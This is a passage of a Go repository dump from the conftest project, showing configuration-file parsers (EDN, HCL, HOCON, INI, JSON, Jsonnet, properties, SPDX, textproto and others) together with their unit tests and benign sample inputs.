"github.com/open-policy-agent/conftest/parser/edn" 8 | ) 9 | 10 | func TestEDNParser(t *testing.T) { 11 | testTable := []struct { 12 | name string 13 | controlConfigs []byte 14 | expectedResult any 15 | }{ 16 | { 17 | name: "a single config", 18 | controlConfigs: []byte(`{:sample true}`), 19 | expectedResult: map[string]any{ 20 | ":sample": "true", 21 | }, 22 | }, 23 | { 24 | name: "a basic edn file with a sample of types", 25 | controlConfigs: []byte(`{;; This is a comment and should be ignored by the parser 26 | :sample1 "my-username", 27 | :sample2 false, 28 | :sample3 5432}`), 29 | expectedResult: map[string]any{ 30 | ":sample1": "my-username", 31 | ":sample2": "false", 32 | ":sample3": "5432", 33 | }, 34 | }, 35 | } 36 | 37 | for _, test := range testTable { 38 | t.Run(test.name, func(t *testing.T) { 39 | var unmarshalledConfigs any 40 | ednParser := new(edn.Parser) 41 | 42 | if err := ednParser.Unmarshal(test.controlConfigs, &unmarshalledConfigs); err != nil { 43 | t.Errorf("err on unmarshalling: %v", err) 44 | } 45 | 46 | if unmarshalledConfigs == nil { 47 | t.Error("expected actual value in our object, got nil") 48 | } 49 | 50 | if !reflect.DeepEqual(test.expectedResult, unmarshalledConfigs) { 51 | t.Errorf("expected\n%T : %v\n to equal\n%T : %v\n", unmarshalledConfigs, unmarshalledConfigs, test.expectedResult, test.expectedResult) 52 | } 53 | }) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /parser/format.go: -------------------------------------------------------------------------------- 1 | package parser 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | ) 7 | 8 | // Format takes in multiple configurations input and formats the configuration 9 | // to be more human readable. The key of each configuration should be its filepath. 10 | func Format(configurations map[string]any) (string, error) { 11 | var output string 12 | for file, config := range configurations { 13 | output += file + "\n" 14 | 15 | current, err := format(config) 16 | if err != nil { 17 | return "", fmt.Errorf("marshal output to json: %w", err) 18 | } 19 | 20 | output += current 21 | } 22 | 23 | return output, nil 24 | } 25 | 26 | // FormatJSON takes in multiple configurations and formats them as a JSON 27 | // object where each key is the path to the file and the contents are the 28 | // parsed configurations. 29 | func FormatJSON(configurations map[string]any) (string, error) { 30 | marshaled, err := json.MarshalIndent(configurations, "", " ") 31 | if err != nil { 32 | return "", fmt.Errorf("marshal configs: %w", err) 33 | } 34 | 35 | return string(marshaled), nil 36 | } 37 | 38 | // FormatCombined takes in multiple configurations, combines them, and formats the 39 | // configuration to be more human readable. The key of each configuration should be 40 | // its filepath. 41 | func FormatCombined(configurations map[string]any) (string, error) { 42 | combinedConfigurations := CombineConfigurations(configurations) 43 | 44 | formattedConfigs, err := format(combinedConfigurations["Combined"]) 45 | if err != nil { 46 | return "", fmt.Errorf("formatting configs: %w", err) 47 | } 48 | 49 | return formattedConfigs, nil 50 | } 51 | 52 | func format(configs any) (string, error) { 53 | out, err := json.MarshalIndent(configs, "", "\t") 54 | if err != nil { 55 | return "", fmt.Errorf("marshal output to json: %w", err) 56 | } 57 | 58 | return string(out) + "\n", nil 59 | } 60 | -------------------------------------------------------------------------------- /parser/format_test.go: -------------------------------------------------------------------------------- 1 | package parser 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | ) 7 | 8 | func TestFormat(t *testing.T) { 9 | configurations := make(map[string]any) 10 | config := struct { 11 | Property string 12 | }{ 13 | Property: "value", 14 | } 15 | 16 | const expectedFileName = "file.json" 17 | configurations[expectedFileName] = config 18 | 19 | actual, err := Format(configurations) 20 | if err != nil { 21 | t.Fatalf("parsing configs: %s", err) 22 | } 23 | 24 | expected := ` 25 | { 26 | "Property": "value" 27 | } 28 | ` 29 | 30 | if !strings.Contains(actual, expected) { 31 | t.Errorf("Unexpected formatting. expected %v actual %v", expected, actual) 32 | } 33 | 34 | if !strings.Contains(actual, expectedFileName) { 35 | t.Errorf("Unexpected formatting. expected %v actual %v", expected, actual) 36 | } 37 | } 38 | 39 | func TestFormatCombined(t *testing.T) { 40 | configurations := make(map[string]any) 41 | config := struct { 42 | Sut string 43 | }{ 44 | Sut: "test", 45 | } 46 | 47 | config2 := struct { 48 | Foo string 49 | }{ 50 | Foo: "bar", 51 | } 52 | 53 | configurations["file1.json"] = config 54 | configurations["file2.json"] = config2 55 | 56 | actual, err := FormatCombined(configurations) 57 | if err != nil { 58 | t.Fatalf("parsing configs: %s", err) 59 | } 60 | 61 | expected := `[ 62 | { 63 | "path": "file1.json", 64 | "contents": { 65 | "Sut": "test" 66 | } 67 | }, 68 | { 69 | "path": "file2.json", 70 | "contents": { 71 | "Foo": "bar" 72 | } 73 | } 74 | ] 75 | ` 76 | 77 | if !strings.Contains(actual, expected) { 78 | t.Errorf("Unexpected combined formatting. expected %v actual %v", expected, actual) 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /parser/hcl1/hcl1.go: -------------------------------------------------------------------------------- 1 | package hcl1 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/hashicorp/hcl" 7 | ) 8 | 9 | // Parser is an HCL parser. 10 | type Parser struct{} 11 | 12 | // Unmarshal unmarshals HCL files that are using version 1 of 13 | // the HCL language. 14 | func (s *Parser) Unmarshal(p []byte, v any) error { 15 | if err := hcl.Unmarshal(p, v); err != nil { 16 | return fmt.Errorf("unmarshal hcl: %w", err) 17 | } 18 | 19 | return nil 20 | } 21 | -------------------------------------------------------------------------------- /parser/hcl1/hcl1_test.go: -------------------------------------------------------------------------------- 1 | package hcl1 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | const sample = `provider "google" { 8 | version = "2.5.0" 9 | project = "instrumenta" 10 | region = "europe-west2" 11 | } 12 | 13 | resource "google_container_cluster" "primary" { 14 | name = "my-gke-cluster" 15 | location = "us-central1" 16 | 17 | # We can't create a cluster with no node pool defined, but we want to only use 18 | # separately managed node pools. So we create the smallest possible default 19 | # node pool and immediately delete it. 20 | remove_default_node_pool = true 21 | initial_node_count = 1 22 | 23 | # Setting an empty username and password explicitly disables basic auth 24 | master_auth { 25 | username = "" 26 | password = "" 27 | } 28 | } 29 | 30 | resource "google_container_node_pool" "primary_preemptible_nodes" { 31 | name = "my-node-pool" 32 | location = "us-central1" 33 | cluster = "${google_container_cluster.primary.name}" 34 | node_count = 1 35 | 36 | node_config { 37 | preemptible = true 38 | machine_type = "n1-standard-1" 39 | 40 | metadata = { 41 | disable-legacy-endpoints = "true" 42 | } 43 | 44 | oauth_scopes = [ 45 | "https://www.googleapis.com/auth/logging.write", 46 | "https://www.googleapis.com/auth/monitoring", 47 | ] 48 | } 49 | } 50 | 51 | # The following outputs allow authentication and connectivity to the GKE Cluster 52 | # by using certificate-based authentication. 53 | output "client_certificate" { 54 | value = "${google_container_cluster.primary.master_auth.0.client_certificate}" 55 | } 56 | 57 | output "client_key" { 58 | value = "${google_container_cluster.primary.master_auth.0.client_key}" 59 | } 60 | 61 | output "cluster_ca_certificate" { 62 | value = "${google_container_cluster.primary.master_auth.0.cluster_ca_certificate}" 63 | }` 64 | 65 | func TestHcl1Parser(t *testing.T) { 66 | var input any 67 | parser := &Parser{} 68 | sampleFileBytes := []byte(sample) 69 | if err := parser.Unmarshal(sampleFileBytes, &input); err != nil { 70 | t.Fatalf("parser should not have thrown an error: %v", err) 71 | } 72 | 73 | if input == nil { 74 | t.Error("there should be information parsed but its nil") 75 | } 76 | 77 | inputMap := input.(map[string]any) 78 | if len(inputMap["resource"].([]map[string]any)) == 0 { 79 | t.Error("there should be resources defined in the parsed file, but none found") 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /parser/hcl2/hcl2.go: -------------------------------------------------------------------------------- 1 | package hcl2 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "github.com/tmccombs/hcl2json/convert" 8 | ) 9 | 10 | // Parser is an HCL2 parser. 11 | type Parser struct{} 12 | 13 | // Unmarshal unmarshals HCL files that are written using 14 | // version 2 of the HCL language. 15 | func (Parser) Unmarshal(p []byte, v any) error { 16 | hclBytes, err := convert.Bytes(p, "", convert.Options{}) 17 | if err != nil { 18 | return fmt.Errorf("convert to bytes: %w", err) 19 | } 20 | 21 | if err := json.Unmarshal(hclBytes, v); err != nil { 22 | return fmt.Errorf("unmarshal hcl2: %w", err) 23 | } 24 | 25 | return nil 26 | } 27 | -------------------------------------------------------------------------------- /parser/hocon/hocon.go: -------------------------------------------------------------------------------- 1 | package hocon 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "strconv" 7 | 8 | "github.com/go-akka/configuration" 9 | "github.com/go-akka/configuration/hocon" 10 | ) 11 | 12 | // Parser is a HOCON parser. 13 | type Parser struct{} 14 | 15 | // Unmarshal unmarshals HOCON files. 16 | func (i *Parser) Unmarshal(p []byte, v any) error { 17 | rootCfg := configuration.ParseString(string(p)) 18 | result := make(map[string]any) 19 | 20 | for _, key := range rootCfg.Root().GetObject().GetKeys() { 21 | cfg := rootCfg.GetConfig(key) 22 | result[key] = getConfig(rootCfg, cfg, key) 23 | } 24 | 25 | j, err := json.Marshal(result) 26 | if err != nil { 27 | return fmt.Errorf("marshal hocon to json: %w", err) 28 | } 29 | 30 | if err := json.Unmarshal(j, v); err != nil { 31 | return fmt.Errorf("unmarshal hocon json: %w", err) 32 | } 33 | 34 | return nil 35 | } 36 | 37 | func getConfig(rootCfg, cfg *configuration.Config, path string) map[string]any { 38 | result := make(map[string]any) 39 | 40 | for _, key := range cfg.Root().GetObject().GetKeys() { 41 | tmpKey := path + "." + key 42 | if rootCfg.IsObject(tmpKey) { 43 | result[key] = getConfig(rootCfg, rootCfg.GetConfig(tmpKey), tmpKey) 44 | } else { 45 | value := rootCfg.GetValue(tmpKey) 46 | result[key] = convertType(value) 47 | } 48 | } 49 | 50 | return result 51 | } 52 | 53 | func convertType(value *hocon.HoconValue) any { 54 | str := value.String() 55 | switch { 56 | case isNumberLiteral(str): 57 | num, _ := strconv.ParseFloat(str, 64) 58 | return num 59 | case isBooleanLiteral(str): 60 | b, _ := strconv.ParseBool(str) 61 | return b 62 | default: 63 | return str 64 | } 65 | } 66 | 67 | func isNumberLiteral(f string) bool { 68 | _, err := strconv.ParseFloat(f, 64) 69 | return err == nil 70 | } 71 | 72 | func isBooleanLiteral(b string) bool { 73 | _, err := strconv.ParseBool(b) 74 | return err == nil 75 | } 76 | -------------------------------------------------------------------------------- /parser/hocon/hocon_test.go: -------------------------------------------------------------------------------- 1 | package hocon 2 | 3 | import "testing" 4 | 5 | func TestHoconUnmarshal(t *testing.T) { 6 | parser := &Parser{} 7 | sample := `play { 8 | server { 9 | dir = ${?user.dir} 10 | 11 | # HTTP configuration 12 | http { 13 | port = 9001 14 | port = ${?PLAY_HTTP_PORT} 15 | port = ${?http.port} 16 | } 17 | } 18 | }` 19 | 20 | var input any 21 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 22 | t.Fatalf("parser should not have thrown an error: %v", err) 23 | } 24 | 25 | if input == nil { 26 | t.Error("there should be information parsed but its nil") 27 | } 28 | 29 | inputMap := input.(map[string]any) 30 | item := inputMap["play"] 31 | if len(item.(map[string]any)) == 0 { 32 | t.Error("there should be at least one item defined in the parsed file, but none found") 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /parser/ignore/ignore.go: -------------------------------------------------------------------------------- 1 | package ignore 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | ignore "github.com/shteou/go-ignore" 8 | ) 9 | 10 | // Parser is a ignore (dockerignore, gitignore) parser. 11 | type Parser struct{} 12 | 13 | // Unmarshal unmarshals ignore files. 14 | func (pp *Parser) Unmarshal(p []byte, v any) error { 15 | ignoreEntries, err := ignore.ParseIgnoreBytes(p) 16 | if err != nil { 17 | return fmt.Errorf("parse ignore bytes: %w", err) 18 | } 19 | 20 | // Wrap the entry list in another list, to ensure it's 21 | // treated as a single file. 22 | entryListList := [][]ignore.Entry{ignoreEntries} 23 | 24 | marshalledLines, err := json.Marshal(entryListList) 25 | if err != nil { 26 | return fmt.Errorf("marshal ignore: %w", err) 27 | } 28 | 29 | if err := json.Unmarshal(marshalledLines, v); err != nil { 30 | return fmt.Errorf("unmarshal ignore: %w", err) 31 | } 32 | 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /parser/ignore/ignore_test.go: -------------------------------------------------------------------------------- 1 | package ignore 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestParser_Unmarshal(t *testing.T) { 8 | parser := Parser{} 9 | 10 | sample := `!bar 11 | 12 | # Test` 13 | 14 | var listOfEntryLists [][]any 15 | if err := parser.Unmarshal([]byte(sample), &listOfEntryLists); err != nil { 16 | t.Fatalf("parser should not have thrown an error: %v", err) 17 | } 18 | 19 | if listOfEntryLists == nil { 20 | t.Error("there should be information parsed but it's nil") 21 | } 22 | 23 | input := listOfEntryLists[0] 24 | if input == nil { 25 | t.Error("there should be a list of Entries but it's nil") 26 | } 27 | 28 | expectedEntryCount := 3 29 | 30 | if len(input) != expectedEntryCount { 31 | t.Errorf("there should be exactly %v entries in the ignore array but there were %d", expectedEntryCount, len(input)) 32 | } 33 | 34 | firstIgnoreEntry := input[0] 35 | 36 | expectedKind := "NegatedPath" 37 | actualKind := firstIgnoreEntry.(map[string]any)["Kind"] 38 | 39 | if actualKind != expectedKind { 40 | t.Errorf("first ignore entry's Kind should be '%v', was '%v'", expectedKind, actualKind) 41 | } 42 | 43 | expectedValue := "bar" 44 | actualValue := firstIgnoreEntry.(map[string]any)["Value"] 45 | 46 | if actualValue != expectedValue { 47 | t.Errorf("first ignore entry's Value should be '%v', was '%v'", expectedValue, actualValue) 48 | } 49 | 50 | expectedOriginal := "!bar" 51 | actualOriginal := firstIgnoreEntry.(map[string]any)["Original"] 52 | 53 | if actualOriginal != expectedOriginal { 54 | t.Errorf("first ignore entry's Kind should be '%v', was '%v'", expectedOriginal, actualOriginal) 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /parser/ini/ini.go: -------------------------------------------------------------------------------- 1 | package ini 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "strconv" 7 | 8 | "github.com/go-ini/ini" 9 | ) 10 | 11 | // Parser is an INI parser. 12 | type Parser struct{} 13 | 14 | // Unmarshal unmarshals INI files. 15 | func (i *Parser) Unmarshal(p []byte, v any) error { 16 | cfg, err := ini.Load(p) 17 | if err != nil { 18 | return fmt.Errorf("read ini file: %w", err) 19 | } 20 | 21 | result := make(map[string]map[string]any) 22 | for _, s := range cfg.Sections() { 23 | sectionName := s.Name() 24 | if sectionName == "DEFAULT" { 25 | continue 26 | } 27 | 28 | result[sectionName] = map[string]any{} 29 | keysHash := s.KeysHash() 30 | result[sectionName] = convertKeyTypes(keysHash) 31 | } 32 | 33 | j, err := json.Marshal(result) 34 | if err != nil { 35 | return fmt.Errorf("marshal ini to json: %w", err) 36 | } 37 | 38 | if err := json.Unmarshal(j, v); err != nil { 39 | return fmt.Errorf("unmarshal ini json: %w", err) 40 | } 41 | 42 | return nil 43 | } 44 | 45 | func convertKeyTypes(keysHash map[string]string) map[string]any { 46 | val := map[string]any{} 47 | 48 | for k, v := range keysHash { 49 | switch { 50 | case isNumberLiteral(v): 51 | f, _ := strconv.ParseFloat(v, 64) 52 | val[k] = f 53 | case isBooleanLiteral(v): 54 | b, _ := strconv.ParseBool(v) 55 | val[k] = b 56 | default: 57 | val[k] = v 58 | } 59 | } 60 | 61 | return val 62 | } 63 | 64 | func isNumberLiteral(f string) bool { 65 | _, err := strconv.ParseFloat(f, 64) 66 | return err == nil 67 | } 68 | 69 | func isBooleanLiteral(b string) bool { 70 | _, err := strconv.ParseBool(b) 71 | return err == nil 72 | } 73 | -------------------------------------------------------------------------------- /parser/ini/ini_test.go: -------------------------------------------------------------------------------- 1 | package ini 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestIniParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `[Local Variables] 10 | Name=name 11 | Title=title 12 | Visibility=show/hide 13 | Delay=10 14 | 15 | 16 | [Navigation Controls] 17 | OnNext=node path 18 | Help=help file 19 | 20 | # Test comment` 21 | 22 | var input any 23 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 24 | t.Fatalf("parser should not have thrown an error: %v", err) 25 | } 26 | 27 | if input == nil { 28 | t.Error("there should be information parsed but its nil") 29 | } 30 | 31 | inputMap := input.(map[string]any) 32 | item := inputMap["Local Variables"] 33 | if len(item.(map[string]any)) == 0 { 34 | t.Error("there should be at least one item defined in the parsed file, but none found") 35 | } 36 | } 37 | 38 | func TestConvertTypes(t *testing.T) { 39 | testTable := []struct { 40 | name string 41 | input map[string]string 42 | expectedOutput any 43 | }{ 44 | {"Test number literal", map[string]string{"test": "3.0"}, 3.0}, 45 | {"Test string literal", map[string]string{"test": "conftest"}, "conftest"}, 46 | {"Test boolean literal", map[string]string{"test": "true"}, true}, 47 | } 48 | 49 | for _, testUnit := range testTable { 50 | t.Run(testUnit.name, func(t *testing.T) { 51 | val := convertKeyTypes(testUnit.input) 52 | for _, v := range val { 53 | if v != testUnit.expectedOutput { 54 | t.Fatalf("convert type got wrong value %v want %v", v, testUnit.expectedOutput) 55 | } 56 | } 57 | }) 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /parser/json/json.go: -------------------------------------------------------------------------------- 1 | package json 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | ) 7 | 8 | // Parser is a JSON parser. 9 | type Parser struct{} 10 | 11 | // Unmarshal unmarshals JSON files. 12 | func (p *Parser) Unmarshal(data []byte, v any) error { 13 | if len(data) > 2 && data[0] == 0xef && data[1] == 0xbb && data[2] == 0xbf { 14 | data = data[3:] // Strip UTF-8 BOM, see https://www.rfc-editor.org/rfc/rfc8259#section-8.1 15 | } 16 | 17 | if err := json.Unmarshal(data, v); err != nil { 18 | return fmt.Errorf("unmarshal json: %w", err) 19 | } 20 | 21 | return nil 22 | } 23 | -------------------------------------------------------------------------------- /parser/json/json_test.go: -------------------------------------------------------------------------------- 1 | package json 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestJSONParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `{ 10 | "name": "conftest-example", 11 | "version": "1.0.0", 12 | "description": "An example of testing Typescript code with Open Policy Agent", 13 | "main": "pod.js", 14 | "scripts": { 15 | "test": "echo \"Error: no test specified\" && exit 1" 16 | }, 17 | "author": "", 18 | "license": "ISC", 19 | "dependencies": { 20 | "js-yaml": "^3.13.1", 21 | "kubernetes-types": "^1.13.0-beta.1" 22 | }, 23 | "devDependencies": { 24 | "ts-node": "^8.1.0", 25 | "typescript": "^3.4.5" 26 | } 27 | }` 28 | 29 | var input any 30 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 31 | t.Fatalf("parser should not have thrown an error: %v", err) 32 | } 33 | 34 | if input == nil { 35 | t.Fatalf("there should be information parsed but its nil") 36 | } 37 | 38 | inputMap := input.(map[string]any) 39 | if len(inputMap) == 0 { 40 | t.Error("there should be at least one item defined in the parsed file, but none found") 41 | } 42 | } 43 | 44 | func TestJSONParserWithBOM(t *testing.T) { 45 | tests := []struct { 46 | name string 47 | input []byte 48 | want map[string]any 49 | wantErr bool 50 | }{ 51 | { 52 | name: "valid JSON with BOM", 53 | input: append([]byte{0xEF, 0xBB, 0xBF}, []byte(`{"test": "value"}`)...), 54 | want: map[string]any{"test": "value"}, 55 | }, 56 | { 57 | name: "valid JSON without BOM", 58 | input: []byte(`{"test": "value"}`), 59 | want: map[string]any{"test": "value"}, 60 | }, 61 | } 62 | 63 | parser := &Parser{} 64 | for _, tt := range tests { 65 | t.Run(tt.name, func(t *testing.T) { 66 | var got any 67 | err := parser.Unmarshal(tt.input, &got) 68 | if (err != nil) != tt.wantErr { 69 | t.Errorf("Unmarshal() error = %v, wantErr %v", err, tt.wantErr) 70 | return 71 | } 72 | if !tt.wantErr && got == nil { 73 | t.Fatal("expected parsed content, got nil") 74 | } 75 | if m, ok := got.(map[string]any); ok { 76 | for k, want := range tt.want { 77 | if got := m[k]; got != want { 78 | t.Errorf("key %q = %v, want %v", k, got, want) 79 | } 80 | } 81 | } 82 | }) 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /parser/jsonc/jsonc.go: -------------------------------------------------------------------------------- 1 | package jsonc 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/muhammadmuzzammil1998/jsonc" 7 | ) 8 | 9 | // Parser is a JSON parser. 10 | type Parser struct{} 11 | 12 | // Unmarshal unmarshals JSON files. 13 | func (p *Parser) Unmarshal(data []byte, v any) error { 14 | if err := jsonc.Unmarshal(data, v); err != nil { 15 | return fmt.Errorf("unmarshal jsonc: %w", err) 16 | } 17 | 18 | return nil 19 | } 20 | -------------------------------------------------------------------------------- /parser/jsonc/jsonc_test.go: -------------------------------------------------------------------------------- 1 | package jsonc 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestJSONParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `{ 10 | "name": "conftest-example", // Ignore comments 11 | "version": "1.0.0", 12 | "description": "An example of testing Typescript code with Open Policy Agent", 13 | "main": "pod.js", 14 | "scripts": { 15 | "test": "echo \"Error: no test specified\" && exit 1" 16 | }, 17 | /* Like this */ 18 | "author": "", 19 | "license": "ISC", 20 | "dependencies": { 21 | "js-yaml": "^3.13.1", 22 | "kubernetes-types": "^1.13.0-beta.1" 23 | }, 24 | "devDependencies": { 25 | "ts-node": "^8.1.0", 26 | "typescript": "^3.4.5" 27 | } 28 | }` 29 | 30 | var input any 31 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 32 | t.Fatalf("parser should not have thrown an error: %v", err) 33 | } 34 | 35 | if input == nil { 36 | t.Fatalf("there should be information parsed but its nil") 37 | } 38 | 39 | inputMap := input.(map[string]any) 40 | if len(inputMap) == 0 { 41 | t.Error("there should be at least one item defined in the parsed file, but none found") 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /parser/jsonnet/jsonnet.go: -------------------------------------------------------------------------------- 1 | package jsonnet 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "path/filepath" 7 | 8 | "github.com/google/go-jsonnet" 9 | ) 10 | 11 | // Parser is a Jsonnet parser. 12 | type Parser struct { 13 | path string 14 | } 15 | 16 | // SetPath sets the original file path for relative imports 17 | func (p *Parser) SetPath(path string) { 18 | p.path = path 19 | } 20 | 21 | // Unmarshal unmarshals Jsonnet files. 22 | func (p *Parser) Unmarshal(data []byte, v any) error { 23 | vm := jsonnet.MakeVM() 24 | vm.ErrorFormatter.SetMaxStackTraceSize(20) 25 | 26 | // If path is set, configure import path to the file's directory 27 | if p.path != "" { 28 | dir := filepath.Dir(p.path) 29 | vm.Importer(&jsonnet.FileImporter{ 30 | JPaths: []string{dir}, 31 | }) 32 | } 33 | 34 | snippetStream, err := vm.EvaluateAnonymousSnippet("", string(data)) 35 | if err != nil { 36 | return fmt.Errorf("evaluate anonymous snippet: %w", err) 37 | } 38 | 39 | if err := json.Unmarshal([]byte(snippetStream), v); err != nil { 40 | return fmt.Errorf("unmarshal json failed: %w", err) 41 | } 42 | 43 | return nil 44 | } 45 | -------------------------------------------------------------------------------- /parser/properties/properties.go: -------------------------------------------------------------------------------- 1 | package properties 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | prop "github.com/magiconair/properties" 8 | ) 9 | 10 | // Parser is a properties parser. 11 | type Parser struct{} 12 | 13 | func (pp *Parser) Unmarshal(p []byte, v any) error { 14 | rawProps, err := prop.LoadString(string(p)) 15 | if err != nil { 16 | return fmt.Errorf("parse properties file: %w", err) 17 | } 18 | 19 | result := rawProps.Map() 20 | 21 | j, err := json.Marshal(result) 22 | if err != nil { 23 | return fmt.Errorf("marshal properties to json: %w", err) 24 | } 25 | 26 | if err := json.Unmarshal(j, v); err != nil { 27 | return fmt.Errorf("unmarshal properties json: %w", err) 28 | } 29 | 30 | return nil 31 | } 32 | -------------------------------------------------------------------------------- /parser/properties/properties_test.go: -------------------------------------------------------------------------------- 1 | package properties 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestPropertiesParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `# This is a simle properties file 10 | SAMPLE_KEY=https://example.com/ 11 | ! some comment=not-a-prop 12 | my-property=some-value` 13 | 14 | var input any 15 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 16 | t.Errorf("parser should not have thrown an error: %v", err) 17 | } 18 | 19 | if input == nil { 20 | t.Errorf("there should be information parsed but its nil") 21 | } 22 | 23 | inputMap := input.(map[string]any) 24 | myProp := inputMap["my-property"].(string) 25 | if myProp != "some-value" { 26 | t.Errorf("Failed to parse property: %s", myProp) 27 | } 28 | 29 | spaceProp := inputMap["SAMPLE_KEY"].(string) 30 | if spaceProp != "https://example.com/" { 31 | t.Errorf("Failed to strip whitespace from key: %s", myProp) 32 | } 33 | 34 | inputLen := len(inputMap) 35 | if inputLen != 2 { 36 | t.Errorf("Failed to parse all properties: expected 2 got %d", inputLen) 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /parser/spdx/spdx.go: -------------------------------------------------------------------------------- 1 | package spdx 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | 8 | "github.com/spdx/tools-golang/tagvalue" 9 | ) 10 | 11 | // Parser is a SPDX parser. 12 | type Parser struct{} 13 | 14 | // Unmarshal unmarshals SPDX files. 15 | func (*Parser) Unmarshal(p []byte, v any) error { 16 | doc, err := tagvalue.Read(bytes.NewBuffer(p)) 17 | if err != nil { 18 | return fmt.Errorf("error while parsing %v: %v", p, err) 19 | } 20 | 21 | out, err := json.Marshal(doc) 22 | if err != nil { 23 | return fmt.Errorf("error while marshaling %v: %v", p, err) 24 | } 25 | 26 | if err := json.Unmarshal(out, v); err != nil { 27 | return fmt.Errorf("unmarshal SPDX json: %w", err) 28 | } 29 | 30 | return nil 31 | } 32 | -------------------------------------------------------------------------------- /parser/spdx/spdx_test.go: -------------------------------------------------------------------------------- 1 | package spdx 2 | 3 | import "testing" 4 | 5 | func TestSPDXParser(t *testing.T) { 6 | p := `SPDXVersion: SPDX-2.2 7 | DataLicense: conftest-demo 8 | SPDXID: SPDXRef-DOCUMENT 9 | DocumentName: hello 10 | DocumentNamespace: https://swinslow.net/spdx-examples/example1/hello-v3 11 | Creator: Person: Steve Winslow (steve@swinslow.net) 12 | Creator: Tool: github.com/spdx/tools-golang/builder 13 | Creator: Tool: github.com/spdx/tools-golang/idsearcher 14 | Created: 2021-08-26T01:46:00Z 15 | ` 16 | 17 | parser := &Parser{} 18 | 19 | var input any 20 | if err := parser.Unmarshal([]byte(p), &input); err != nil { 21 | t.Fatalf("parser should not have thrown an error: %v", err) 22 | } 23 | 24 | if input == nil { 25 | t.Error("There should be information parsed but its nil") 26 | } 27 | 28 | inputMap := input.(map[string]any) 29 | currentDataLicense := inputMap["dataLicense"] 30 | expectedDataLicense := "conftest-demo" 31 | if currentDataLicense != expectedDataLicense { 32 | t.Errorf("DataLicense of the SPDX file have: %s, want: %s", currentDataLicense, expectedDataLicense) 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /parser/textproto/textproto_test.go: -------------------------------------------------------------------------------- 1 | package textproto 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/google/go-cmp/cmp" 8 | ) 9 | 10 | func TestUnmarshal(t *testing.T) { 11 | t.Parallel() 12 | 13 | const ( 14 | testProtoDef = ` 15 | syntax = "proto3"; 16 | package conftest.prototext; 17 | 18 | enum AnOption { 19 | OPTION_UNDEFIED = 0; 20 | OPTION_GOOD = 1; 21 | OPTION_GREAT = 2; 22 | } 23 | 24 | message TestMessage { 25 | string name = 1; 26 | int32 number = 2; 27 | bool truthy = 3; 28 | AnOption option = 4; 29 | } 30 | ` 31 | testTextProto = ` 32 | # proto-message: conftest.prototext.TestMessage 33 | 34 | name: "foobarbaz" 35 | number: 123123123 36 | truthy: true 37 | option: OPTION_GOOD 38 | ` 39 | ) 40 | 41 | if err := load("test_file.proto", strings.NewReader(testProtoDef)); err != nil { 42 | t.Fatalf("Load test proto: %v", err) 43 | } 44 | 45 | testCases := []struct { 46 | desc string 47 | input string 48 | want map[string]any 49 | wantErr bool 50 | }{ 51 | { 52 | desc: "valid case", 53 | input: testTextProto, 54 | want: map[string]any{ 55 | "name": "foobarbaz", 56 | "number": float64(123123123), 57 | "truthy": true, 58 | "option": "OPTION_GOOD", 59 | }, 60 | }, 61 | { 62 | desc: "omitted fields are OK", 63 | input: "# proto-message: conftest.prototext.TestMessage\nnumber: 123123123", 64 | want: map[string]any{ 65 | "number": float64(123123123), 66 | }, 67 | }, 68 | { 69 | desc: "missing proto-message raises error", 70 | input: "number: 123123123", 71 | wantErr: true, 72 | want: make(map[string]any), 73 | }, 74 | { 75 | desc: "unknown proto-message raises error", 76 | input: strings.ReplaceAll(testTextProto, "conftest", "another_package"), 77 | wantErr: true, 78 | want: make(map[string]any), 79 | }, 80 | { 81 | desc: "known but invalid message raises an error", 82 | input: strings.ReplaceAll(testTextProto, "conftest.prototext.TestMessage", "google.protobuf.FieldDescriptorProto"), 83 | wantErr: true, 84 | want: make(map[string]any), 85 | }, 86 | } 87 | 88 | for _, tc := range testCases { 89 | tc := tc 90 | t.Run(tc.desc, func(t *testing.T) { 91 | t.Parallel() 92 | 93 | parser := &Parser{} 94 | got := make(map[string]any) 95 | 96 | err := parser.Unmarshal([]byte(tc.input), &got) 97 | if err == nil && tc.wantErr || err != nil && !tc.wantErr { 98 | t.Errorf("unexpected error state, got %v", err) 99 | return 100 | } 101 | if diff := cmp.Diff(tc.want, got); diff != "" { 102 | t.Errorf("unexpected diff (+got, -want):\n%s", diff) 103 | } 104 | }) 105 | } 106 | } 107 | 